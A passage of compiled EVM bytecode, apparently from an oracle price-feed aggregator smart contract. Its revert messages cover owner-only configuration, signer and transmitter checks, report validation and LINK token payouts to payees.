fffffffffffff001690556040517f3be8a977a014527b50ae38adda80b56911c267328965c98ddc385d248f53963890600090a15b565b6001600160a01b03811660009081526027602090815260408083208151808301909252805460ff808216845285948401916101009004166002811115610dd157fe5b6002811115610ddc57fe5b9052509050600081602001516002811115610df357fe5b1415610e03576000915050610ed5565b6040805160a08101825260025463ffffffff80821683526401000000008204811660208401526801000000000000000082048116938301939093526c01000000000000000000000000810483166060830181905270010000000000000000000000000000000090910490921660808201528251909160009160019060049060ff16601f8110610e8e57fe5b601091828204019190066002029054906101000a900461ffff160361ffff1602633b9aca0002905060016008846000015160ff16601f8110610ecc57fe5b01540301925050505b919050565b6060604051806060016040528060288152602001615a4160289139905090565b7f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca81565b7f000000000000000000000000000000000000000000000000000000e8d4a5100081565b6040805160a08101825260025463ffffffff808216808452640100000000830482166020850181905268010000000000000000840483169585018690526c01000000000000000000000000840483166060860181905270010000000000000000000000000000000090940490921660809094018490529490939290565b7f000000000000000000000000000000000000000000000000000000000000001281565b6000611026336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611b0092505050565b611077576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b61107f614424565b905090565b600481565b868560ff8616601f8311156110e5576040805162461bcd60e51b815260206004820152601060248201527f746f6f206d616e79207369676e65727300000000000000000000000000000000604482015290519081900360640190fd5b6000811161113a576040805162461bcd60e51b815260206004820152601a60248201527f7468726573686f6c64206d75737420626520706f736974697665000000000000604482015290519081900360640190fd5b8183146111785760405162461bcd60e51b8152600401808060200182810382526024815260200180615a1d6024913960400191505060405180910390fd5b8060030283116111cf576040805162461bcd60e51b815260206004820181905260248201527f6661756c74792d6f7261636c65207468726573686f6c6420746f6f2068696768604482015290519081900360640190fd5b6000546001600160a01b0316331461122e576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b602854156113d257602880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8101916000918390811061126b57fe5b6000918252602082200154602980546001600160a01b039092169350908490811061129257fe5b6000918252602090912001546001600160a01b031690506112b281614460565b6001600160a01b0380831660009081526027602052604080822080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00009081169091559284168252902080549091169055602880548061130e57fe5b60008281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055019055602980548061137157fe5b60008281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff00000000000000000000000000000000000000001690550190555061122e915050565b60005b8a8110156117e0576000602760008e8e858181106113ef57fe5b602090810292909201356001600160a01b031683525081019190915260400160002054610100900460ff16600281111561142557fe5b14611477576040805162461bcd60e51b815260206004820152601760248201527f7265706561746564207369676e65722061646472657373000000000000000000604482015290519081900360640190fd5b6040805180820190915260ff8216815260016020820152602760008e8e8581811061149e57fe5b602090810292909201356001600160a01b031683525081810192909252604001600020825181547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660ff9091161780825591830151909182907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1661010083600281111561152957fe5b02179055506000915060069050818c8c8581811061154357fe5b6001600160a01b03602091820293909301358316845283019390935260409091016000205416919091141590506115c1576040805162461bcd60e51b815260206004820152601160248201527f7061796565206d75737420626520736574000000000000000000000000000000604482015290519081900360640190fd5b6000602760008c8c858181106115d357fe5b602090810292909201356001600160a01b031683525081019190915260400160002054610100900460ff16600281111561160957fe5b1461165b576040805162461bcd60e51b815260206004820152601c60248201527f7265706561746564207472616e736d6974746572206164647265737300000000604482015290519081900360640190fd5b6040805180820190915260ff8216815260026020820152602760008c8c8581811061168257fe5b602090810292909201356001600160a01b031683525081810192909252604001600020825181547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660ff9091161780825591830151909182907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1661010083600281111561170d57fe5b021790555090505060288c8c8381811061172357fe5b835460018101855560009485526020948590200180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03959092029390930135939093169290921790555060298a8a8381811061178557fe5b835460018181018655600095865260209586902090910180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03969093029490940135949094161790915550016113d5565b50602a805460ff89167501000000000000000000000000000000000000000000027fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff909116179055602c80544363ffffffff9081166401000000009081027fffffffffffffffffffffffffffffffffffffffffffffffff00000000ffffffff84161780831660010183167fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000009091161793849055909104811691166118ac30828f8f8f8f8f8f8f8f61468a565b602a60000160006101000a8154816fffffffffffffffffffffffffffffffff021916908360801c02179055506000602a60000160106101000a81548164ffffffffff021916908364ffffffffff1602179055507f25d719d88a4512dd76c7442b910a83360845505894eb444ef299409e180f8fb982828f8f8f8f8f8f8f8f604051808b63ffffffff1681526020018a67ffffffffffffffff16815260200180602001806020018760ff1681526020018667ffffffffffffffff1681526020018060200184810384528c8c82818152602001925060200280828437600083820152601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690910185810384528a8152602090810191508b908b0280828437600083820152601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690910185810383528681526020019050868680828437600083820152604051601f9091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169092018290039f50909d5050505050505050505050505050a150505050505050505050505050565b6000611aa7336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611b0092505050565b611af8576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b61107f6147ca565b6000611b0c83836147f0565b80611b1f57506001600160a01b03831632145b90505b92915050565b7f000000000000000000000000000000000000000000000000016345785d8a000081565b602e546001600160a01b031690565b6060611b9e336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611b0092505050565b611bef576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b61107f614820565b6001546001600160a01b03163314611c56576040805162461bcd60e51b815260206004820152601660248201527f4d7573742062652070726f706f736564206f776e657200000000000000000000604482015290519081900360640190fd5b60008054337fffffffffffffffffffffffff0000000000000000000000000000000000000000808316821784556001805490911690556040516001600160a01b0390921692909183917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a350565b6000546001600160a01b03163314611d24576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b60305460ff16610d8d57603080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556040517faebf329500988c6488a0074e5a0a9ff304561fc5c6fc877aeb1d59c8282c348090600090a1565b60606029805480602002602001604051908101604052809291908181526020018280548015611ddc57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611dbe575b5050505050905090565b602c54602a5463ffffffff808316926401000000009004169060801b909192565b6000611e4a336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611b0092505050565b611e9b576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b61107f6148cb565b6000546001600160a01b03163314611f02576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526031602052604090205460ff1615611f97576001600160a01b03811660008181526031602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055815192835290517f3d68a6fce901d20453d1a7aa06bf3950302a735948037deb182a8db66df2a0d19281900390910190a15b50565b6001600160a01b03818116600090815260066020526040902054163314612008576040805162461bcd60e51b815260206004820152601760248201527f4f6e6c792070617965652063616e207769746864726177000000000000000000604482015290519081900360640190fd5b611f9781614460565b6000546001600160a01b031681565b60408051808201909152602d546001600160a01b0381168083527401000000000000000000000000000000000000000090910463ffffffff16602090920182905291565b600080546001600160a01b031633148061215e5750602e54604080517f6b14daf800000000000000000000000000000000000000000000000000000000815233600482018181526024830193845236604484018190526001600160a01b0390951694636b14daf894929360009391929190606401848480828437600083820152604051601f9091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016909201965060209550909350505081840390508186803b15801561213157600080fd5b505afa158015612145573d6000803e3d6000fd5b505050506040513d602081101561215b57600080fd5b50515b6121af576040805162461bcd60e51b815260206004820152601d60248201527f4f6e6c79206f776e6572267265717565737465722063616e2063616c6c000000604482015290519081900360640190fd5b6040805160808082018352602a549081901b7fffffffffffffffffffffffffffffffff0000000000000000000000000000000016808352700100000000000000000000000000000000820464ffffffffff81166020808601919091527501000000000000000000000000000000000000000000840460ff9081168688015276010000000000000000000000000000000000000000000090940463ffffffff9081166060808801919091528751948552600884901c909116918401919091529216818501529251919233927f3ea16a923ff4b1df6526e854c9e3a995c43385d70e73359e10623c74f0b52037929181900390910190a2806060015160010163ffffffff1691505090565b6003546001600160a01b031690565b6000806000806000612310336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611b0092505050565b612361576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b61236a86614926565b939a9299509097509550909350915050565b6000546001600160a01b031633146123db576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b82811461242f576040805162461bcd60e51b815260206004820181905260248201527f7472616e736d6974746572732e73697a6520213d207061796565732e73697a65604482015290519081900360640190fd5b60005b838110156125ae57600085858381811061244857fe5b905060200201356001600160a01b03169050600084848481811061246857fe5b6001600160a01b0385811660009081526006602090815260409091205492029390930135831693509091169050801580806124b45750826001600160a01b0316826001600160a01b0316145b612505576040805162461bcd60e51b815260206004820152601160248201527f706179656520616c726561647920736574000000000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03848116600090815260066020526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000168583169081179091559083161461259e57826001600160a01b0316826001600160a01b0316856001600160a01b03167f78af32efdcad432315431e9b03d27e6cd98fb79c405fdc5af7c1714d9c0f75b360405160405180910390a45b5050600190920191506124329050565b5050505050565b6000546001600160a01b03163314612614576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b602e546001600160a01b0390811690821681146126a057602e80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03848116918217909255604080519284168352602083019190915280517f27b89aede8b560578baaa25ee5ce3852c5eecad1e114b941bbd89e1eb4bae6349281900390910190a15b5050565b6000546001600160a01b03163314612703576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b611f9781614a71565b6001600160a01b0381811660009081526007602052604090205416331461277a576040805162461bcd60e51b815260206004820152601f60248201527f6f6e6c792070726f706f736564207061796565732063616e2061636365707400604482015290519081900360640190fd5b6001600160a01b0381811660008181526006602090815260408083208054337fffffffffffffffffffffffff000000000000000000000000000000000000000080831682179093556007909452828520805490921690915590519416939092849290917f78af32efdcad432315431e9b03d27e6cd98fb79c405fdc5af7c1714d9c0f75b39190a45050565b6000612848336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611b0092505050565b612899576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611b2282614b0a565b60006128e5336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611b0092505050565b612936576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611b2282614b40565b6003546000546001600160a01b039182169116331480612a375750604080517f6b14daf800000000000000000000000000000000000000000000000000000000815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f9091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016909201965060209550909350505081840390508186803b158015612a0a57600080fd5b505afa158015612a1e573d6000803e3d6000fd5b505050506040513d6020811015612a3457600080fd5b50515b612a88576040805162461bcd60e51b815260206004820181905260248201527f4f6e6c79206f776e65722662696c6c696e6741646d696e2063616e2063616c6c604482015290519081900360640190fd5b612a90614b95565b612a9d8686868686614f5a565b505050505050565b6000546001600160a01b0316331480612b9e5750600354604080517f6b14daf800000000000000000000000000000000000000000000000000000000815233600482018181526024830193845236604484018190526001600160a01b0390951694636b14daf894929360009391929190606401848480828437600083820152604051601f9091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016909201965060209550909350505081840390508186803b158015612b7157600080fd5b505afa158015612b85573d6000803e3d6000fd5b505050506040513d6020811015612b9b57600080fd5b50515b612bef576040805162461bcd60e51b815260206004820181905260248201527f4f6e6c79206f776e65722662696c6c696e6741646d696e2063616e2063616c6c604482015290519081900360640190fd5b6000612bf96150d4565b905060007f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015612c6a57600080fd5b505afa158015612c7e573d6000803e3d6000fd5b505050506040513d6020811015612c9457600080fd5b5051905081811015612ced576040805162461bcd60e51b815260206004820152601460248201527f696e73756666696369656e742062616c616e6365000000000000000000000000604482015290519081900360640190fd5b7f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca6001600160a01b031663a9059cbb85612d29858503876152a4565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015612d6f57600080fd5b505af1158015612d83573d6000803e3d6000fd5b505050506040513d6020811015612d9957600080fd5b5051612dec576040805162461bcd60e51b815260206004820152601260248201527f696e73756666696369656e742066756e64730000000000000000000000000000604482015290519081900360640190fd5b50505050565b60005a9050612e058888888888886152bb565b3614612e58576040805162461bcd60e51b815260206004820152601960248201527f7472616e736d6974206d65737361676520746f6f206c6f6e6700000000000000604482015290519081900360640190fd5b612e606158b2565b6040805160808082018352602a549081901b7fffffffffffffffffffffffffffffffff00000000000000000000000000000000168252700100000000000000000000000000000000810464ffffffffff1660208301527501000000000000000000000000000000000000000000810460ff169282019290925276010000000000000000000000000000000000000000000090910463ffffffff166060808301919091529082526000908a908a90811015612f1957600080fd5b813591602081013591810190606081016040820135640100000000811115612f4057600080fd5b820183602082011115612f5257600080fd5b80359060200191846020830284011164010000000083111715612f7457600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050505060408801525050506080840182905283515190925060589190911b907fffffffffffffffffffffffffffffffff0000000000000000000000000000000080831691161461303b576040805162461bcd60e51b815260206004820152601560248201527f636f6e666967446967657374206d69736d617463680000000000000000000000604482015290519081900360640190fd5b608083015183516020015164ffffffffff8083169116106130a3576040805162461bcd60e51b815260206004820152600c60248201527f7374616c65207265706f72740000000000000000000000000000000000000000604482015290519081900360640190fd5b83516040015160ff1689116130ff576040805162461bcd60e51b815260206004820152601560248201527f6e6f7420656e6f756768207369676e6174757265730000000000000000000000604482015290519081900360640190fd5b601f891115613155576040805162461bcd60e51b815260206004820152601360248201527f746f6f206d616e79207369676e61747572657300000000000000000000000000604482015290519081900360640190fd5b8689146131a9576040805162461bcd60e51b815260206004820152601e60248201527f7369676e617475726573206f7574206f6620726567697374726174696f6e0000604482015290519081900360640190fd5b601f8460400151511115613204576040805162461bcd60e51b815260206004820152601e60248201527f6e756d206f62736572766174696f6e73206f7574206f6620626f756e64730000604482015290519081900360640190fd5b83600001516040015160020260ff168460400151511161326b576040805162461bcd60e51b815260206004820152601e60248201527f746f6f206665772076616c75657320746f207472757374206d656469616e0000604482015290519081900360640190fd5b8867ffffffffffffffff8111801561328257600080fd5b506040519080825280601f01601f1916602001820160405280156132ad576020820181803683370190505b50606085015260005b60ff81168a111561331e57868160ff16602081106132d057fe5b1a60f81b85606001518260ff16815181106132e757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506001016132b6565b5083604001515167ffffffffffffffff8111801561333b57600080fd5b506040519080825280601f01601f191660200182016040528015613366576020820181803683370190505b5060208501526133746158e6565b60005b8560400151518160ff16101561347a576000858260ff166020811061339857fe5b1a90508281601f81106133a757fe5b6020020151156133fe576040805162461bcd60e51b815260206004820152601760248201527f6f6273657276657220696e646578207265706561746564000000000000000000604482015290519081900360640190fd5b6001838260ff16601f811061340f57fe5b91151560209283029190910152869060ff841690811061342b57fe5b1a60f81b87602001518360ff168151811061344257fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535050600101613377565b503360009081526027602090815260408083208151808301909252805460ff808216845292939192918401916101009091041660028111156134b857fe5b60028111156134c357fe5b90525090506002816020015160028111156134da57fe5b14801561350e57506029816000015160ff16815481106134f657fe5b6000918252602090912001546001600160a01b031633145b61355f576040805162461bcd60e51b815260206004820152601860248201527f756e617574686f72697a6564207472616e736d69747465720000000000000000604482015290519081900360640190fd5b5050835164ffffffffff90911660209091015250506040516000908a908a9080838380828437604051920182900390912094506135a093506158e692505050565b6135a8615905565b60005b898110156137bf576000600185876060015184815181106135c857fe5b60209101015160f81c601b018e8e868181106135e057fe5b905060200201358d8d878181106135f357fe5b9050602002013560405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa15801561364e573d6000803e3d6000fd5b5050604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08101516001600160a01b03811660009081526027602090815290849020838501909452835460ff808216855292965092945084019161010090041660028111156136bb57fe5b60028111156136c657fe5b90525092506001836020015160028111156136dd57fe5b1461372f576040805162461bcd60e51b815260206004820152601e60248201527f61646472657373206e6f7420617574686f72697a656420746f207369676e0000604482015290519081900360640190fd5b8251849060ff16601f811061374057fe5b602002015115613797576040805162461bcd60e51b815260206004820152601460248201527f6e6f6e2d756e69717565207369676e6174757265000000000000000000000000604482015290519081900360640190fd5b600184846000015160ff16601f81106137ac57fe5b91151560209092020152506001016135ab565b5050505060005b600182604001515103811015613870576000826040015182600101815181106137eb57fe5b602002602001015160170b8360400151838151811061380657fe5b602002602001015160170b1315905080613867576040805162461bcd60e51b815260206004820152601760248201527f6f62736572766174696f6e73206e6f7420736f72746564000000000000000000604482015290519081900360640190fd5b506001016137c6565b5060408101518051600091906002810490811061388957fe5b602002602001015190508060170b7f000000000000000000000000000000000000000000000000000000e8d4a5100060170b131580156138ef57507f000000000000000000000000000000000000000000000000016345785d8a000060170b8160170b13155b613940576040805162461bcd60e51b815260206004820152601e60248201527f6d656469616e206973206f7574206f66206d696e2d6d61782072616e67650000604482015290519081900360640190fd5b81516060908101805163ffffffff60019091018116909152604080518082018252601785810b80835267ffffffffffffffff42811660208086019182528a5189015188166000908152602b82528781209651875493519094167801000000000000000000000000000000000000000000000000029390950b77ffffffffffffffffffffffffffffffffffffffffffffffff9081167fffffffffffffffff0000000000000000000000000000000000000000000000009093169290921790911691909117909355875186015184890151848a01516080808c015188519586523386890181905291860181905260a0988601898152845199870199909952835194909916997ff6a97944f31ea060dfde0566e4167c1a1082551e64b60ecb14d599a9d023d451998c999298949793969095909492939185019260c086019289820192909102908190849084905b83811015613aa3578181015183820152602001613a8b565b50505050905001838103825285818151815260200191508051906020019080838360005b83811015613adf578181015183820152602001613ac7565b50505050905090810190601f168015613b0c5780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390a281516060015160408051428152905160009263ffffffff16917f0109fc6f55cf40689f02fbaad7af7fe7bbac8a3d2186600afc7d3e10cac60271919081900360200190a381600001516060015163ffffffff168160170b7f0559884fd3a460db3073b7fc896cc77986f16e378210ded43186175bf646fc5f426040518082815260200191505060405180910390a3613bc18260000151606001518260170b6152d3565b5080518051602a8054602084015160408501516060909501517fffffffffffffffffffffffffffffffff0000000000000000000000000000000090921660809490941c939093177fffffffffffffffffffffff0000000000ffffffffffffffffffffffffffffffff1670010000000000000000000000000000000064ffffffffff90941693909302929092177fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16750100000000000000000000000000000000000000000060ff90941693909302929092177fffffffffffff00000000ffffffffffffffffffffffffffffffffffffffffffff1676010000000000000000000000000000000000000000000063ffffffff92831602179091558210613ce257fe5b613cf0828260200151615413565b505050505050505050565b6000807f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015613d6b57600080fd5b505afa158015613d7f573d6000803e3d6000fd5b505050506040513d6020811015613d9557600080fd5b505190506000613da36150d4565b90910391505090565b60305460ff1681565b6001600160a01b03811660009081526027602090815260408083208151808301909252805460ff808216845285948401916101009004166002811115613df757fe5b6002811115613e0257fe5b9052509050600081602001516002811115613e1957fe5b1415613e29576000915050610ed5565b60016004826000015160ff16601f8110613e3f57fe5b601091828204019190066002029054906101000a900461ffff1603915050919050565b600080808080333214613ebc576040805162461bcd60e51b815260206004820152601460248201527f4f6e6c792063616c6c61626c6520627920454f41000000000000000000000000604482015290519081900360640190fd5b5050602a5463ffffffff760100000000000000000000000000000000000000000000820481166000908152602b6020526040902054608083901b96700100000000000000000000000000000000909304600881901c909216955064ffffffffff9091169350601781900b92507801000000000000000000000000000000000000000000000000900467ffffffffffffffff1690565b6000546001600160a01b03163314613fb0576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b60408051808201909152602d546001600160a01b038082168084527401000000000000000000000000000000000000000090920463ffffffff166020840152841614158061400e57508163ffffffff16816020015163ffffffff1614155b156140e1576040805180820182526001600160a01b0385811680835263ffffffff8681166020948501819052602d80547fffffffffffffffffffffffff00000000000000000000000000000000000000001684177fffffffffffffffff00000000ffffffffffffffffffffffffffffffffffffffff16740100000000000000000000000000000000000000008302179055865187860151875193168352948201528451919493909216927fb04e3a37abe9c0fcdfebdeae019a8e2b12ddf53f5d55ffb0caccc1bedaca1541928290030190a35b505050565b6001600160a01b03828116600090815260066020526040902054163314614154576040805162461bcd60e51b815260206004820152601d60248201527f6f6e6c792063757272656e742070617965652063616e20757064617465000000604482015290519081900360640190fd5b336001600160a01b03821614156141b2576040805162461bcd60e51b815260206004820152601760248201527f63616e6e6f74207472616e7366657220746f2073656c66000000000000000000604482015290519081900360640190fd5b6001600160a01b03808316600090815260076020526040902080548383167fffffffffffffffffffffffff0000000000000000000000000000000000000000821681179092559091169081146140e1576040516001600160a01b038084169133918616907f84f7c7c80bb8ed2279b4aab5f61cd05e6374073d38f46d7f32de8c30e9e3836790600090a4505050565b6000546001600160a01b031633146142a0576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383811691821790925560008054604051929316917fed8889f560326eb138920d842192f0eb3dd22b4f139c87a2c57538e05bae12789190a350565b6000546001600160a01b03163314614368576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b611f9781615660565b60008060008060006143ba336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611b0092505050565b61440b576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6144136156ef565b945094509450945094509091929394565b602a54760100000000000000000000000000000000000000000000900463ffffffff166000908152602b6020526040902054601790810b900b90565b6001600160a01b03811660009081526027602090815260408083208151808301909252805460ff808216845292939192918401916101009091041660028111156144a657fe5b60028111156144b157fe5b905250905060006144c183610d8f565b905080156140e1576001600160a01b0380841660009081526006602090815260408083205481517fa9059cbb0000000000000000000000000000000000000000000000000000000081529085166004820181905260248201879052915191947f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca169363a9059cbb9360448084019491939192918390030190829087803b15801561456a57600080fd5b505af115801561457e573d6000803e3d6000fd5b505050506040513d602081101561459457600080fd5b50516145e7576040805162461bcd60e51b815260206004820152601260248201527f696e73756666696369656e742066756e64730000000000000000000000000000604482015290519081900360640190fd5b60016004846000015160ff16601f81106145fd57fe5b601091828204019190066002026101000a81548161ffff021916908361ffff16021790555060016008846000015160ff16601f811061463857fe5b0155604080516001600160a01b0380871682528316602082015280820184905290517fe8ec50e5150ae28ae37e493ff389ffab7ffaec2dc4dccfca03f12a3de29d12b29181900360600190a150505050565b60008a8a8a8a8a8a8a8a8a8a604051602001808b6001600160a01b031681526020018a67ffffffffffffffff16815260200180602001806020018760ff1681526020018667ffffffffffffffff1681526020018060200184810384528c8c82818152602001925060200280828437600083820152601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690910185810384528a8152602090810191508b908b0280828437600083820152601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690910185810383528681526020019050868680828437600081840152601f19601f8201169050808301925050509d50505050505050505050505050506040516020818303038152906040528051906020012090509a9950505050505050505050565b602a54760100000000000000000000000000000000000000000000900463ffffffff1690565b6001600160a01b03821660009081526031602052604081205460ff1680611b1f57505060305460ff161592915050565b602f8054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015611ddc5780601f1061489f57610100808354040283529160200191611ddc565b820191906000526020600020905b8154815290600101906020018083116148ad57509395945050505050565b602a54760100000000000000000000000000000000000000000000900463ffffffff166000908152602b60205260409020547801000000000000000000000000000000000000000000000000900467ffffffffffffffff1690565b600080600080600063ffffffff8669ffffffffffffffffffff1611156040518060400160405280600f81526020017f4e6f20646174612070726573656e74000000000000000000000000000000000081525090614a015760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156149c65781810151838201526020016149ae565b50505050905090810190601f1680156149f35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5050505063ffffffff83166000908152602b6020908152604091829020825180840190935254601781810b810b810b808552780100000000000000000000000000000000000000000000000090920467ffffffffffffffff1693909201839052949594900b939092508291508490565b6001600160a01b03811660009081526031602052604090205460ff16611f97576001600160a01b03811660008181526031602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055815192835290517f87286ad1f399c8e82bf0c4ef4fcdc570ea2e1e92176e5c848b6413545b885db49281900390910190a150565b600063ffffffff821115614b2057506000610ed5565b5063ffffffff166000908152602b6020526040902054601790810b900b90565b600063ffffffff821115614b5657506000610ed5565b5063ffffffff166000908152602b60205260409020547801000000000000000000000000000000000000000000000000900467ffffffffffffffff1690565b6040805160a08101825260025463ffffffff80821683526401000000008204811660208401526801000000000000000082048116838501526c0100000000000000000000000082048116606084015270010000000000000000000000000000000090910416608082015281516103e0810192839052909160009190600490601f908285855b82829054906101000a900461ffff1661ffff1681526020019060020190602082600101049283019260010382029150808411614c1a575050604080516103e0810191829052959650600095945060089350601f9250905082845b815481526020019060010190808311614c74575050505050905060006029805480602002602001604051908101604052809291908181526020018280548015614ce657602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311614cc8575b5050505050905060005b8151811015614f3e57600060018483601f8110614d0957fe5b6020020151039050600060018684601f8110614d2157fe5b60200201510361ffff169050600082886060015163ffffffff168302633b9aca00020190506000811115614f3357600060066000878781518110614d6157fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060009054906101000a90046001600160a01b031690507f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca6001600160a01b031663a9059cbb82846040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015614e1657600080fd5b505af1158015614e2a573d6000803e3d6000fd5b505050506040513d6020811015614e4057600080fd5b5051614e93576040805162461bcd60e51b815260206004820152601260248201527f696e73756666696369656e742066756e64730000000000000000000000000000604482015290519081900360640190fd5b60018886601f8110614ea157fe5b61ffff909216602092909202015260018786601f8110614ebd57fe5b602002015285517fe8ec50e5150ae28ae37e493ff389ffab7ffaec2dc4dccfca03f12a3de29d12b290879087908110614ef257fe5b6020026020010151828460405180846001600160a01b03168152602001836001600160a01b03168152602001828152602001935050505060405180910390a1505b505050600101614cf0565b50614f4c600484601f61591c565b506125ae600883601f6159b2565b6040805160a0808201835263ffffffff88811680845288821660208086018290528984168688018190528985166060808901829052958a166080988901819052600280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001687177fffffffffffffffffffffffffffffffffffffffffffffffff00000000ffffffff166401000000008702177fffffffffffffffffffffffffffffffffffffffff00000000ffffffffffffffff16680100000000000000008502177fffffffffffffffffffffffffffffffff00000000ffffffffffffffffffffffff166c010000000000000000000000008402177fffffffffffffffffffffffff00000000ffffffffffffffffffffffffffffffff16700100000000000000000000000000000000830217905589519586529285019390935283880152928201529283015291517fd0d9486a2c673e2a4b57fc82e4c8a556b3e2b82dd5db07e2c04a920ca0f469b6929181900390910190a15050505050565b604080516103e0810191829052600091829190600490601f908285855b82829054906101000a900461ffff1661ffff16815260200190600201906020826001010492830192600103820291508084116150f15790505050505050905060005b601f8110156151615760018282601f811061514a57fe5b60200201510361ffff169290920191600101615133565b506040805160a08101825260025463ffffffff8082168352640100000000820481166020808501919091526801000000000000000083048216848601526c01000000000000000000000000830482166060850181905270010000000000000000000000000000000090930490911660808401526029805485518184028101840190965280865296909202633b9aca000295929360009390929183018282801561523357602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311615215575b5050604080516103e081019182905294955060009493506008